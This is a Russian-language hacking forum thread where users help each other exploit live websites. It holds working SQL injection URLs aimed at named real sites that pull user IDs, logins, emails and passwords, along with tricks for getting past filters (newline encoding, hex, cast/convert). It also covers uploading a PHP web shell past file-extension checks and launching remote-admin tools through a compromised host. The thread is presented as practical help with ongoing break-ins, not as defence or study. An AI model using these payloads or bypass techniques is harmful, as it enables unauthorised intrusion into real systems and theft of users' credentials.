Ваши вопросы по уязвимостям.

Никак не могу понять как здесь код sql написть

 

http://www.exploit-db.com/exploits/15827/

 

Netcat CMS
-1+union+select+1,user_id+from+User+--+ показывает
-1+union+select+1,unhex(hex(password))+from+User+--+ показывает
-1+union+select+1,password+from+User+--+ показывает

-1+union+select+1,login+from+User+--+ НЕ показывает
-1+union+select+1,unhex(hex(login))+from+User+--+ НЕ показывает
-1+union+select+1,aes_decrypt(aes_encrypt(login))+from+User+--+ НЕ показывает

Ни Email, Login, ForumName, FullName не хочет показывать как можно это обойти?

 

2noviyuser
пробуй захексить
login=0x6c6f67696e

 

не хочет показывает только login, не подошел
можент надо конвертировать str в int? есть ли такая функция

 

Code:

On /index.php?name=1%00%27&file=faq&p=3098
While executing query "SELECT mid, title, custom_title, active, view, blocks, version FROM cms_modules WHERE LOWER(title)='1�''"

the following error occured: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1' at line 1

In: /home/anonimka/public_html/index.php on line: 73

Что за ошибка ? можно как-нибудь раскрутить ?

 

Ошибка синтаксиса MySQL. По всей видимости, можно.
Как раскрутить, написано здесь /thread43966.html
П.С. Зачем там нуллбайт?

 

+union+select+1,cast(version()+as+binary),3,4,5,6
or
+union+select+1,convert(version()+using+latin1),3,4,5,6
or
/*!...*/

 

помогите разобратся, невогу вывести информацию из табле схема, постоянно пишет ошибку

http://nicedave.com/content.php?id=6659+union+select+1,2,3

 

Доступ к information_schema закрыт.Ручками перебирай таблицы.Там есть таблица "users"

 

privateurl.com
в поле логин
хз как там раскрутить помогите и вообще кривая какаят +--+ не робит а /* робит чо эт знач помогите
кста через union можно ток select выполнять или апдэйт, delete, insert тож

 

Так работает:

Code:

http://www.fumasano.es/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,5--

А так нет:

Code:

http://www.fumasano.es/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,codigousuario,email,password)+from+ph_usuarios--

Почему? =\

 

Кажется там from фильтруется.

 

http://www.exploit-db.com/exploits/16060/
Где?

 

а при чем тут сама уязвимость, фильтруется на хосте, только не from, а select from, обходится так:

Code:

http://www.fumasano.es/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT%0a1,2,3,4,concat_ws(0x3a,codigousuario,email,password)+from+ph_usuarios--

 

подскажите софт или скрипт для быстрого блайнда? а то приходится долго ждать пока идет перебор

 

поломал сайтец пришло время заливать шелл на стандартные вещи типо sheel.php.gif не помогают, помогите как бы! Внизу админки был найден корпарайт -> Copyright © 2006 Content-manager

 

uname -a: Windows NT WINCTRL-7IBNPUN 6.1 build 7600 ((null)) i586

Safe-mode: ON (secure)

C:\ drwxrwxrwx

(это пхп шелл)

Можно как-то запускать радмин или что-то?

 

Нереал так подсказать.
В админке есть залив файлов?

Тулза от Пашкелы вроде умеет.

 

заливка фаилов есть я так понел картинки и pdf заливаю sheel.php.pdf пишет неправильное название